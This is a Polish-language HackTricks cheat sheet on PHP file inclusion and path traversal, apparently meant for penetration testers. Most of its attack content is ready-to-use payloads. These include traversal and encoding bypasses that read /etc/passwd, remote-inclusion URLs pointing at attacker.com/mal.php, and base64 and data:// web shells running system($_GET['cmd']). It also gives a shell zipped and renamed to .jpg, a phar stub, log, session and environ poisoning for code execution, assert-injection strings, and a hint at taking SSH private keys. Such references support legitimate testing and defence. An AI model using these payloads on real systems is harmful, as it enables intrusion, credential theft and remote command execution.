File Inclusion/Path traversal

Wsparcie dla HackTricks

Dołącz do HackenProof Discord serwera, aby komunikować się z doświadczonymi hackerami i łowcami bugów!

Wgląd w hacking Zaangażuj się w treści, które zgłębiają emocje i wyzwania związane z hackingiem

Aktualności o hackingu w czasie rzeczywistym Bądź na bieżąco z dynamicznym światem hackingu dzięki aktualnym wiadomościom i wglądom

Najnowsze ogłoszenia Bądź informowany o najnowszych programach bug bounty oraz istotnych aktualizacjach platformy

Dołącz do nas na Discordzie i zacznij współpracować z najlepszymi hackerami już dziś!

File Inclusion

Remote File Inclusion (RFI): Plik jest ładowany z zdalnego serwera (Najlepiej: Możesz napisać kod, a serwer go wykona). W php jest to wyłączone domyślnie (allow_url_include). Local File Inclusion (LFI): Serwer ładuje lokalny plik.

Luka występuje, gdy użytkownik może w jakiś sposób kontrolować plik, który ma być załadowany przez serwer.

Vulnerable funkcje PHP: require, require_once, include, include_once

Interesujące narzędzie do wykorzystania tej luki: https://github.com/kurobeats/fimap

Blind - Interesting - LFI2RCE files

wfuzz -c -w ./lfi2.txt --hw 0 http://10.10.10.10/nav.php?page=../../../../../../../FUZZ

Linux

Mieszając kilka list LFI dla *nix i dodając więcej ścieżek, stworzyłem tę:

Spróbuj również zmienić / na \ Spróbuj również dodać ../../../../../

Lista, która wykorzystuje kilka technik do znalezienia pliku /etc/password (aby sprawdzić, czy luka istnieje), znajduje się tutaj

Windows

Połączenie różnych list słów:

Spróbuj również zmienić / na \ Spróbuj również usunąć C:/ i dodać ../../../../../

Lista, która wykorzystuje kilka technik do znalezienia pliku /boot.ini (aby sprawdzić, czy luka istnieje), znajduje się tutaj

OS X

Sprawdź listę LFI dla linux.

Podstawowe LFI i obejścia

Wszystkie przykłady dotyczą Local File Inclusion, ale mogą być również zastosowane do Remote File Inclusion (page=http://myserver.com/phpshellcode.txt\.

http://example.com/index.php?page=../../../etc/passwd

sekwencje przejścia usunięte nienawrotowo

http://example.com/index.php?page=....//....//....//etc/passwd
http://example.com/index.php?page=....\/....\/....\/etc/passwd
http://some.domain.com/static/%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/etc/passwd

Null byte (%00)

Ominięcie dodawania więcej znaków na końcu podanego ciągu (ominięcie: $_GET['param']."php")

http://example.com/index.php?page=../../../etc/passwd%00

To jest rozwiązane od PHP 5.4

Kodowanie

Możesz używać niestandardowych kodowań, takich jak podwójne kodowanie URL (i inne):

http://example.com/index.php?page=..%252f..%252f..%252fetc%252fpasswd
http://example.com/index.php?page=..%c0%af..%c0%af..%c0%afetc%c0%afpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd%00

Z istniejącego folderu

Może backend sprawdza ścieżkę folderu:

http://example.com/index.php?page=utils/scripts/../../../../../etc/passwd

Badanie katalogów systemu plików na serwerze

System plików serwera można badać rekurencyjnie, aby zidentyfikować katalogi, a nie tylko pliki, stosując określone techniki. Proces ten polega na ustaleniu głębokości katalogu i sprawdzeniu istnienia konkretnych folderów. Poniżej znajduje się szczegółowa metoda, aby to osiągnąć:

  1. Ustal głębokość katalogu: Ustal głębokość swojego bieżącego katalogu, skutecznie pobierając plik /etc/passwd (dotyczy to serwerów opartych na Linuksie). Przykładowy adres URL może być skonstruowany w następujący sposób, wskazując na głębokość równą trzem:

http://example.com/index.php?page=../../../etc/passwd # depth of 3
  1. Probe for Folders: Dołącz nazwę podejrzanego folderu (np. private) do URL, a następnie wróć do /etc/passwd. Dodatkowy poziom katalogu wymaga zwiększenia głębokości o jeden:

http://example.com/index.php?page=private/../../../../etc/passwd # depth of 3+1=4
  1. Interpretacja wyników: Odpowiedź serwera wskazuje, czy folder istnieje:

  • Błąd / Brak wyjścia: Folder private prawdopodobnie nie istnieje w określonej lokalizacji.

  • Zawartość /etc/passwd: Obecność folderu private jest potwierdzona.

  1. Rekurencyjna eksploracja: Odkryte foldery można dalej badać pod kątem podkatalogów lub plików, używając tej samej techniki lub tradycyjnych metod Local File Inclusion (LFI).

Aby badać katalogi w różnych lokalizacjach w systemie plików, dostosuj ładunek odpowiednio. Na przykład, aby sprawdzić, czy /var/www/ zawiera katalog private (zakładając, że bieżący katalog znajduje się na głębokości 3), użyj:

http://example.com/index.php?page=../../../var/www/private/../../../etc/passwd

Technika Truncacji Ścieżki

Truncacja ścieżki to metoda stosowana do manipulacji ścieżkami plików w aplikacjach internetowych. Często jest używana do uzyskiwania dostępu do zastrzeżonych plików poprzez obejście pewnych środków bezpieczeństwa, które dodają dodatkowe znaki na końcu ścieżek plików. Celem jest skonstruowanie ścieżki pliku, która, po zmianie przez środek bezpieczeństwa, nadal wskazuje na pożądany plik.

W PHP różne reprezentacje ścieżki pliku mogą być uważane za równoważne z powodu natury systemu plików. Na przykład:

  • /etc/passwd, /etc//passwd, /etc/./passwd i /etc/passwd/ są traktowane jako ta sama ścieżka.

  • Gdy ostatnie 6 znaków to passwd, dodanie / (tworząc passwd/) nie zmienia docelowego pliku.

  • Podobnie, jeśli .php jest dodane do ścieżki pliku (jak shellcode.php), dodanie /. na końcu nie zmieni pliku, do którego uzyskuje się dostęp.

Podane przykłady pokazują, jak wykorzystać truncację ścieżki do uzyskania dostępu do /etc/passwd, powszechnego celu ze względu na jego wrażliwą zawartość (informacje o kontach użytkowników):

http://example.com/index.php?page=a/../../../../../../../../../etc/passwd......[ADD MORE]....
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[ADD MORE]/././.
http://example.com/index.php?page=a/./.[ADD MORE]/etc/passwd
http://example.com/index.php?page=a/../../../../[ADD MORE]../../../../../etc/passwd

W tych scenariuszach liczba wymaganych przejść może wynosić około 2027, ale ta liczba może się różnić w zależności od konfiguracji serwera.

  • Używanie segmentów kropek i dodatkowych znaków: Sekwencje przejść (../) połączone z dodatkowymi segmentami kropek i znakami mogą być używane do nawigacji po systemie plików, skutecznie ignorując dołączone ciągi przez serwer.

  • Określenie wymaganej liczby przejść: Poprzez próbę i błąd można znaleźć dokładną liczbę sekwencji ../, które są potrzebne do nawigacji do katalogu głównego, a następnie do /etc/passwd, zapewniając, że wszelkie dołączone ciągi (jak .php) są neutralizowane, ale pożądana ścieżka (/etc/passwd) pozostaje nienaruszona.

  • Zaczynanie od fałszywego katalogu: Powszechną praktyką jest rozpoczęcie ścieżki od nieistniejącego katalogu (jak a/). Technika ta jest stosowana jako środek ostrożności lub w celu spełnienia wymagań logiki analizy ścieżek serwera.

Podczas stosowania technik skracania ścieżek kluczowe jest zrozumienie zachowania analizy ścieżek serwera i struktury systemu plików. Każdy scenariusz może wymagać innego podejścia, a testowanie jest często konieczne, aby znaleźć najskuteczniejszą metodę.

Ta podatność została naprawiona w PHP 5.3.

Sztuczki omijania filtrów

http://example.com/index.php?page=....//....//etc/passwd
http://example.com/index.php?page=..///////..////..//////etc/passwd
http://example.com/index.php?page=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd
Maintain the initial path: http://example.com/index.php?page=/var/www/../../etc/passwd
http://example.com/index.php?page=PhP://filter

Remote File Inclusion

W php jest to domyślnie wyłączone, ponieważ allow_url_include jest Wyłączone. Musi być Włączone, aby to działało, a w takim przypadku możesz dołączyć plik PHP z swojego serwera i uzyskać RCE:

http://example.com/index.php?page=http://atacker.com/mal.php
http://example.com/index.php?page=\\attacker.com\shared\mal.php

Jeśli z jakiegoś powodu allow_url_include jest Włączone, ale PHP filtruje dostęp do zewnętrznych stron internetowych, zgodnie z tym postem, możesz użyć na przykład protokołu danych z base64, aby zdekodować kod PHP w b64 i uzyskać RCE:

PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.txt

W poprzednim kodzie końcowe +.txt zostało dodane, ponieważ atakujący potrzebował ciągu, który kończyłby się na .txt, więc ciąg kończy się na tym, a po dekodowaniu b64 ta część zwróci tylko śmieci, a prawdziwy kod PHP zostanie dołączony (a tym samym, wykonany).

Inny przykład nie używający protokołu php:// to:

data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+txt

Element główny Pythona

W Pythonie w kodzie takim jak ten:

# file_name is controlled by a user
os.path.join(os.getcwd(), "public", file_name)

Jeśli użytkownik przekaże ścieżkę absolutną do file_name, poprzednia ścieżka zostanie po prostu usunięta:

os.path.join(os.getcwd(), "public", "/etc/passwd")
'/etc/passwd'

To jest zamierzona funkcjonalność zgodnie z dokumentacją:

Jeśli komponent jest ścieżką bezwzględną, wszystkie poprzednie komponenty są ignorowane, a łączenie kontynuuje od komponentu ścieżki bezwzględnej.

Java Lista Katalogów

Wygląda na to, że jeśli masz Path Traversal w Javie i prosisz o katalog zamiast pliku, zwracana jest lista katalogu. To nie zdarzy się w innych językach (o ile mi wiadomo).

Top 25 parametrów

Oto lista 25 najważniejszych parametrów, które mogą być podatne na lokalne włączenie pliku (LFI) (z linku):

?cat={payload}
?dir={payload}
?action={payload}
?board={payload}
?date={payload}
?detail={payload}
?file={payload}
?download={payload}
?path={payload}
?folder={payload}
?prefix={payload}
?include={payload}
?page={payload}
?inc={payload}
?locate={payload}
?show={payload}
?doc={payload}
?site={payload}
?type={payload}
?view={payload}
?content={payload}
?document={payload}
?layout={payload}
?mod={payload}
?conf={payload}

LFI / RFI przy użyciu wrapperów i protokołów PHP

php://filter

Filtry PHP pozwalają na podstawowe operacje modyfikacji danych przed ich odczytem lub zapisaniem. Istnieje 5 kategorii filtrów:

  • string.rot13

  • string.toupper

  • string.tolower

  • string.strip_tags: Usuwa tagi z danych (wszystko pomiędzy znakami "<" i ">")

  • Zauważ, że ten filtr zniknął z nowoczesnych wersji PHP

  • convert.base64-encode

  • convert.base64-decode

  • convert.quoted-printable-encode

  • convert.quoted-printable-decode

  • convert.iconv.* : Przekształca do innego kodowania (convert.iconv.<input_enc>.<output_enc>). Aby uzyskać listę wszystkich obsługiwanych kodowań, uruchom w konsoli: iconv -l

Nadużywając filtru konwersji convert.iconv.*, możesz generować dowolny tekst, co może być przydatne do pisania dowolnego tekstu lub do stworzenia funkcji, która włącza proces dowolnego tekstu. Więcej informacji znajdziesz w LFI2RCE za pomocą filtrów php.

  • zlib.deflate: Kompresuje zawartość (przydatne, jeśli eksfiltrujesz dużo informacji)

  • zlib.inflate: Dekompresuje dane

  • mcrypt.* : Przestarzałe

  • mdecrypt.* : Przestarzałe

  • Inne filtry

  • Uruchamiając w php var_dump(stream_get_filters());, możesz znaleźć kilka nieoczekiwanych filtrów:

  • consumed

  • dechunk: odwraca kodowanie HTTP chunked

  • convert.*

# String Filters
## Chain string.toupper, string.rot13 and string.tolower reading /etc/passwd
echo file_get_contents("php://filter/read=string.toupper|string.rot13|string.tolower/resource=file:///etc/passwd");
## Same chain without the "|" char
echo file_get_contents("php://filter/string.toupper/string.rot13/string.tolower/resource=file:///etc/passwd");
## string.string_tags example
echo file_get_contents("php://filter/string.strip_tags/resource=data://text/plain,<b>Bold</b><?php php code; ?>lalalala");

# Conversion filter
## B64 decode
echo file_get_contents("php://filter/convert.base64-decode/resource=data://plain/text,aGVsbG8=");
## Chain B64 encode and decode
echo file_get_contents("php://filter/convert.base64-encode|convert.base64-decode/resource=file:///etc/passwd");
## convert.quoted-printable-encode example
echo file_get_contents("php://filter/convert.quoted-printable-encode/resource=data://plain/text,£hellooo=");
=C2=A3hellooo=3D
## convert.iconv.utf-8.utf-16le
echo file_get_contents("php://filter/convert.iconv.utf-8.utf-16le/resource=data://plain/text,trololohellooo=");

# Compresion Filter
## Compress + B64
echo file_get_contents("php://filter/zlib.deflate/convert.base64-encode/resource=file:///etc/passwd");
readfile('php://filter/zlib.inflate/resource=test.deflated'); #To decompress the data locally
# note that PHP protocol is case-inselective (that's mean you can use "PhP://" and any other varient)

Część "php://filter" jest nieczuła na wielkość liter

Używanie filtrów php jako oracle do odczytu dowolnych plików

W tym poście zaproponowano technikę odczytu lokalnego pliku bez zwracania wyniku przez serwer. Technika ta opiera się na boole'owskiej eksfiltracji pliku (znak po znaku) przy użyciu filtrów php jako oracle. Dzieje się tak, ponieważ filtry php mogą być używane do powiększenia tekstu na tyle, aby php zgłosił wyjątek.

W oryginalnym poście można znaleźć szczegółowe wyjaśnienie techniki, ale oto szybkie podsumowanie:

  • Użyj kodeka UCS-4LE, aby pozostawić wiodący znak tekstu na początku i sprawić, że rozmiar ciągu wzrośnie wykładniczo.

  • To będzie użyte do wygenerowania tekstu tak dużego, gdy początkowa litera jest odgadnięta poprawnie, że php wywoła błąd.

  • Filtr dechunk usunie wszystko, jeśli pierwszy znak nie jest szesnastkowy, więc możemy wiedzieć, czy pierwszy znak jest szesnastkowy.

  • To, w połączeniu z poprzednim (i innymi filtrami w zależności od odgadniętej litery), pozwoli nam odgadnąć literę na początku tekstu, widząc, kiedy wykonujemy wystarczająco dużo transformacji, aby nie była znakiem szesnastkowym. Ponieważ jeśli jest szesnastkowy, dechunk go nie usunie, a początkowa bomba spowoduje błąd php.

  • Kodek convert.iconv.UNICODE.CP930 przekształca każdą literę w następną (więc po tym kodeku: a -> b). To pozwala nam odkryć, czy pierwsza litera to a, na przykład, ponieważ jeśli zastosujemy 6 z tego kodeka a->b->c->d->e->f->g, litera nie jest już znakiem szesnastkowym, dlatego dechunk jej nie usunął, a błąd php jest wywoływany, ponieważ mnoży się z początkową bombą.

  • Używając innych transformacji, takich jak rot13 na początku, możliwe jest wycieknięcie innych znaków, takich jak n, o, p, q, r (i inne kodeki mogą być używane do przenoszenia innych liter do zakresu szesnastkowego).

  • Gdy początkowy znak jest liczbą, należy go zakodować w base64 i wyciekować 2 pierwsze litery, aby wyciekła liczba.

  • Ostatecznym problemem jest zobaczenie jak wyciekować więcej niż początkowa litera. Używając filtrów pamięci w kolejności, takich jak convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE, możliwe jest zmienienie kolejności znaków i uzyskanie na pierwszej pozycji innych liter tekstu.

  • A aby móc uzyskać dalsze dane, pomysł polega na wygenerowaniu 2 bajtów danych śmieciowych na początku za pomocą convert.iconv.UTF16.UTF16, zastosowaniu UCS-4LE, aby pivotować z następnymi 2 bajtami, i usunąć dane aż do danych śmieciowych (to usunie pierwsze 2 bajty początkowego tekstu). Kontynuuj to, aż osiągniesz pożądany bit do wycieku.

W poście wyciekło również narzędzie do automatycznego wykonania tego: php_filters_chain_oracle_exploit.

php://fd

Ten wrapper pozwala na dostęp do deskryptorów plików, które proces ma otwarte. Potencjalnie przydatne do eksfiltracji zawartości otwartych plików:

echo file_get_contents("php://fd/3");
$myfile = fopen("/etc/passwd", "r");

Możesz również użyć php://stdin, php://stdout i php://stderr do uzyskania dostępu do deskryptorów plików 0, 1 i 2 odpowiednio (nie jestem pewien, jak to może być przydatne w ataku)

zip:// i rar://

Prześlij plik Zip lub Rar z PHPShell wewnątrz i uzyskaj do niego dostęp. Aby móc wykorzystać protokół rar, musi być on specjalnie aktywowany.

echo "<pre><?php system($_GET['cmd']); ?></pre>" > payload.php;
zip payload.zip payload.php;
mv payload.zip shell.jpg;
rm payload.php

http://example.com/index.php?page=zip://shell.jpg%23payload.php

# To compress with rar
rar a payload.rar payload.php;
mv payload.rar shell.jpg;
rm payload.php
http://example.com/index.php?page=rar://shell.jpg%23payload.php

data://

http://example.net/?page=data://text/plain,<?php echo base64_encode(file_get_contents("index.php")); ?>
http://example.net/?page=data://text/plain,<?php phpinfo(); ?>
http://example.net/?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
http://example.net/?page=data:text/plain,<?php echo base64_encode(file_get_contents("index.php")); ?>
http://example.net/?page=data:text/plain,<?php phpinfo(); ?>
http://example.net/?page=data:text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"

Zauważ, że ten protokół jest ograniczony przez konfiguracje php allow_url_open i allow_url_include

expect://

Expect musi być aktywowany. Możesz wykonać kod używając tego:

http://example.com/index.php?page=expect://id
http://example.com/index.php?page=expect://ls

input://

Określ swój ładunek w parametrach POST:

curl -XPOST "http://example.com/index.php?page=php://input" --data "<?php system('id'); ?>"

phar://

Plik .phar może być wykorzystany do wykonywania kodu PHP, gdy aplikacja webowa korzysta z funkcji takich jak include do ładowania plików. Poniższy fragment kodu PHP ilustruje tworzenie pliku .phar:

<?php
$phar = new Phar('test.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'text');
$phar->setStub('<?php __HALT_COMPILER(); system("ls"); ?>');
$phar->stopBuffering();

Aby skompilować plik .phar, należy wykonać następujące polecenie:

php --define phar.readonly=0 create_path.php

Po wykonaniu zostanie utworzony plik o nazwie test.phar, który może być wykorzystany do eksploatacji luk w Local File Inclusion (LFI).

W przypadkach, gdy LFI tylko odczytuje pliki bez wykonywania kodu PHP w ich wnętrzu, za pomocą funkcji takich jak file_get_contents(), fopen(), file(), file_exists(), md5_file(), filemtime(), lub filesize(), można spróbować wykorzystać lukę w deserializacji. Luka ta jest związana z odczytem plików przy użyciu protokołu phar.

Aby uzyskać szczegółowe zrozumienie eksploatacji luk w deserializacji w kontekście plików .phar, zapoznaj się z dokumentem podanym poniżej:

Phar Deserialization Exploitation Guide

phar:// deserialization

CVE-2024-2961

Można było nadużyć dowolnego pliku odczytywanego z PHP, który obsługuje filtry PHP, aby uzyskać RCE. Szczegółowy opis można znaleźć w tym poście. Bardzo szybkie podsumowanie: 3-bajtowy przepełnienie w stercie PHP zostało nadużyte do zmiany łańcucha wolnych kawałków o określonym rozmiarze, aby móc zapisać cokolwiek w dowolnym adresie, więc dodano hak do wywołania system. Można było alokować kawałki o określonych rozmiarach, nadużywając więcej filtrów PHP.

Więcej protokołów

Sprawdź więcej możliwych protokołów do uwzględnienia tutaj:

  • php://memory i php://temp — Zapis w pamięci lub w pliku tymczasowym (nie jestem pewien, jak to może być przydatne w ataku na włączenie pliku)

  • file:// — Dostęp do lokalnego systemu plików

  • http:// — Dostęp do adresów URL HTTP(s)

  • ftp:// — Dostęp do adresów URL FTP(s)

  • zlib:// — Strumienie kompresji

  • glob:// — Znajdź nazwy ścieżek pasujące do wzorca (nie zwraca nic drukowalnego, więc nie jest tu naprawdę przydatne)

  • ssh2:// — Secure Shell 2

  • ogg:// — Strumienie audio (nieprzydatne do odczytu dowolnych plików)

LFI przez 'assert' PHP

Ryzyko Local File Inclusion (LFI) w PHP jest szczególnie wysokie w przypadku funkcji 'assert', która może wykonywać kod w ramach ciągów. Jest to szczególnie problematyczne, jeśli dane wejściowe zawierają znaki przechodzenia do katalogu, takie jak "..", które są sprawdzane, ale nie są odpowiednio oczyszczane.

Na przykład, kod PHP może być zaprojektowany w celu zapobiegania przechodzeniu do katalogu w ten sposób:

assert("strpos('$file', '..') === false") or die("");

Chociaż to ma na celu zatrzymanie traversalu, niezamierzenie tworzy wektor dla wstrzykiwania kodu. Aby wykorzystać to do odczytu zawartości pliku, atakujący mógłby użyć:

' and die(highlight_file('/etc/passwd')) or '

Podobnie, do wykonywania dowolnych poleceń systemowych, można użyć:

' and die(system("id")) or '

To ważne, aby zakodować te ładunki URL.

Dołącz do serwera HackenProof Discord, aby komunikować się z doświadczonymi hackerami i łowcami błędów!

Wgląd w Hacking Zaangażuj się w treści, które zagłębiają się w emocje i wyzwania związane z hackingiem

Aktualności Hackingowe w Czasie Rzeczywistym Bądź na bieżąco z dynamicznym światem hackingu dzięki aktualnym wiadomościom i wglądom

Najnowsze Ogłoszenia Bądź informowany o najnowszych programach bug bounty oraz istotnych aktualizacjach platformy

Dołącz do nas na Discord i zacznij współpracować z najlepszymi hackerami już dziś!

PHP Blind Path Traversal

Ta technika jest istotna w przypadkach, gdy kontrolujesz ścieżkę pliku funkcji PHP, która uzyskuje dostęp do pliku, ale nie zobaczysz zawartości pliku (jak proste wywołanie file()), ale zawartość nie jest wyświetlana.

W tym niesamowitym poście wyjaśniono, jak można nadużyć ślepą traversję ścieżki za pomocą filtra PHP, aby wyekstrahować zawartość pliku za pomocą błędnego oracle.

Podsumowując, technika polega na użyciu kodowania "UCS-4LE", aby zawartość pliku była tak duża, że funkcja PHP otwierająca plik spowoduje błąd.

Następnie, aby wyciekł pierwszy znak, używany jest filtr dechunk wraz z innymi, takimi jak base64 lub rot13, a na końcu używane są filtry convert.iconv.UCS-4.UCS-4LE i convert.iconv.UTF16.UTF-16BE, aby umieścić inne znaki na początku i je wyciekować.

Funkcje, które mogą być podatne: file_get_contents, readfile, finfo->file, getimagesize, md5_file, sha1_file, hash_file, file, parse_ini_file, copy, file_put_contents (tylko cel odczytu z tym), stream_get_contents, fgets, fread, fgetc, fgetcsv, fpassthru, fputs

Szczegóły techniczne znajdziesz w wspomnianym poście!

LFI2RCE

Zdalne Włączenie Pliku

Wyjaśnione wcześniej, śledź ten link.

Poprzez plik dziennika Apache/Nginx

Jeśli serwer Apache lub Nginx jest podatny na LFI, wewnątrz funkcji include możesz spróbować uzyskać dostęp do /var/log/apache2/access.log lub /var/log/nginx/access.log, ustawiając w user agent lub w parametrze GET powłokę php, taką jak <?php system($_GET['c']); ?> i dołączając ten plik

Zauważ, że jeśli użyjesz podwójnych cudzysłowów dla powłoki zamiast pojedynczych cudzysłowów, podwójne cudzysłowy zostaną zmodyfikowane na ciąg "quote;", PHP zgłosi błąd w tym miejscu i nic innego nie zostanie wykonane.

Upewnij się również, że poprawnie zapisujesz ładunek, w przeciwnym razie PHP zgłosi błąd za każdym razem, gdy spróbuje załadować plik dziennika i nie będziesz miał drugiej szansy.

Można to również zrobić w innych dziennikach, ale bądź ostrożny, kod wewnątrz dzienników może być zakodowany URL i to może zniszczyć powłokę. Nagłówek autoryzacji "basic" zawiera "user:password" w Base64 i jest dekodowany wewnątrz dzienników. PHPShell może być wstawiony w tym nagłówku. Inne możliwe ścieżki dzienników:

/var/log/apache2/access.log
/var/log/apache/access.log
/var/log/apache2/error.log
/var/log/apache/error.log
/usr/local/apache/log/error_log
/usr/local/apache2/log/error_log
/var/log/nginx/access.log
/var/log/nginx/error.log
/var/log/httpd/error_log

Fuzzing wordlist: https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI

Via Email

Wyślij maila na wewnętrzne konto (user@localhost) zawierającego twój ładunek PHP, taki jak <?php echo system($_REQUEST["cmd"]); ?> i spróbuj dołączyć do maila użytkownika z ścieżką taką jak /var/mail/<USERNAME> lub /var/spool/mail/<USERNAME>

Via /proc/*/fd/*

  1. Prześlij dużo powłok (na przykład: 100)

  2. Dołącz http://example.com/index.php?page=/proc/$PID/fd/$FD, gdzie $PID = PID procesu (można wymusić brute force) i $FD to deskryptor pliku (można również wymusić brute force)

Via /proc/self/environ

Jak w pliku dziennika, wyślij ładunek w User-Agent, zostanie on odzwierciedlony w pliku /proc/self/environ

GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1
User-Agent: <?=phpinfo(); ?>

Via upload

Jeśli możesz przesłać plik, po prostu wstrzyknij ładunek powłoki w nim (np: <?php system($_GET['c']); ?>).

http://example.com/index.php?page=path/to/uploaded/file.png

Aby zachować czytelność pliku, najlepiej wstrzyknąć do metadanych zdjęć/doc/pdf

Poprzez przesyłanie pliku Zip

Prześlij plik ZIP zawierający skompresowaną powłokę PHP i uzyskaj dostęp:

example.com/page.php?file=zip://path/to/zip/hello.zip%23rce.php

Via PHP sessions

Sprawdź, czy strona używa sesji PHP (PHPSESSID)

Set-Cookie: PHPSESSID=i56kgbsq9rm8ndg3qbarhsbm27; path=/
Set-Cookie: user=admin; expires=Mon, 13-Aug-2018 20:21:29 GMT; path=/; httponly

W PHP te sesje są przechowywane w plikach /var/lib/php5/sess\[PHPSESSID]_

/var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27.
user_ip|s:0:"";loggedin|s:0:"";lang|s:9:"en_us.php";win_lin|s:0:"";user|s:6:"admin";pass|s:6:"admin";

Ustaw cookie na <?php system('cat /etc/passwd');?>

login=1&user=<?php system("cat /etc/passwd");?>&pass=password&lang=en_us.php

Użyj LFI, aby dołączyć plik sesji PHP

login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm2

Via ssh

Jeśli ssh jest aktywne, sprawdź, który użytkownik jest używany (/proc/self/status & /etc/passwd) i spróbuj uzyskać dostęp do <HOME>/.ssh/id_rsa

Via vsftpd logs

Logi dla serwera FTP vsftpd znajdują się w /var/log/vsftpd.log. W scenariuszu, w którym istnieje luka Local File Inclusion (LFI) i możliwy jest dostęp do wystawionego serwera vsftpd, można rozważyć następujące kroki:

  1. Wstrzyknij ładunek PHP w pole nazwy użytkownika podczas procesu logowania.

  2. Po wstrzyknięciu, wykorzystaj LFI, aby pobrać logi serwera z /var/log/vsftpd.log.

Via php base64 filter (using base64)

Jak pokazano w tym artykule, filtr PHP base64 po prostu ignoruje Non-base64. Możesz to wykorzystać, aby obejść sprawdzanie rozszerzenia pliku: jeśli dostarczysz base64, które kończy się na ".php", po prostu zignoruje "." i doda "php" do base64. Oto przykład ładunku:

http://example.com/index.php?page=PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.php

NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"

Via php filters (no file needed)

Ten artykuł wyjaśnia, że możesz użyć filtrów php do generowania dowolnej treści jako wyjścia. Co zasadniczo oznacza, że możesz generować dowolny kod php do włączenia bez potrzeby zapisywania go w pliku.

LFI2RCE via PHP Filters

Via segmentation fault

Prześlij plik, który zostanie zapisany jako tymczasowy w /tmp, a następnie w tej samej prośbie wywołaj błąd segmentacji, a następnie tymczasowy plik nie zostanie usunięty i możesz go wyszukać.

LFI2RCE via Segmentation Fault

Via Nginx temp file storage

Jeśli znalazłeś Local File Inclusion i Nginx działa przed PHP, możesz być w stanie uzyskać RCE za pomocą następującej techniki:

LFI2RCE via Nginx temp files

Via PHP_SESSION_UPLOAD_PROGRESS

Jeśli znalazłeś Local File Inclusion, nawet jeśli nie masz sesji i session.auto_start jest Wyłączone. Jeśli dostarczysz PHP_SESSION_UPLOAD_PROGRESS w danych POST multipart, PHP włączy sesję dla Ciebie. Możesz to wykorzystać, aby uzyskać RCE:

LFI2RCE via PHP_SESSION_UPLOAD_PROGRESS

Via temp file uploads in Windows

Jeśli znalazłeś Local File Inclusion i serwer działa w Windows, możesz uzyskać RCE:

LFI2RCE Via temp file uploads

Via phpinfo() (file_uploads = on)

Jeśli znalazłeś Local File Inclusion i plik ujawniający phpinfo() z file_uploads = on, możesz uzyskać RCE:

LFI2RCE via phpinfo()

Via compress.zlib + PHP_STREAM_PREFER_STUDIO + Path Disclosure

Jeśli znalazłeś Local File Inclusion i możesz wyeksportować ścieżkę do pliku tymczasowego, ALE serwer sprawdza, czy plik do włączenia ma znaczniki PHP, możesz spróbować obejść to sprawdzenie za pomocą tego Race Condition:

LFI2RCE Via compress.zlib + PHP_STREAM_PREFER_STUDIO + Path Disclosure

Via eternal waiting + bruteforce

Jeśli możesz wykorzystać LFI do przesyłania plików tymczasowych i sprawić, że serwer zawiesi wykonanie PHP, możesz następnie bruteforce'ować nazwy plików przez godziny, aby znaleźć plik tymczasowy:

LFI2RCE via Eternal waiting

To Fatal Error

Jeśli włączysz którykolwiek z plików /usr/bin/phar, /usr/bin/phar7, /usr/bin/phar.phar7, /usr/bin/phar.phar. (Musisz włączyć ten sam plik 2 razy, aby wywołać ten błąd).

Nie wiem, jak to jest przydatne, ale może być. Nawet jeśli spowodujesz błąd krytyczny PHP, tymczasowe pliki PHP są usuwane.

References

Dołącz do serwera HackenProof Discord, aby komunikować się z doświadczonymi hackerami i łowcami błędów!

Hacking Insights Zaangażuj się w treści, które zagłębiają się w emocje i wyzwania związane z hackingiem

Real-Time Hack News Bądź na bieżąco z dynamicznym światem hackingu dzięki wiadomościom i spostrzeżeniom w czasie rzeczywistym

Latest Announcements Bądź na bieżąco z najnowszymi nagrodami za błędy i istotnymi aktualizacjami platformy

Dołącz do nas na Discord i zacznij współpracować z najlepszymi hackerami już dziś!

Wsparcie HackTricks

Last updated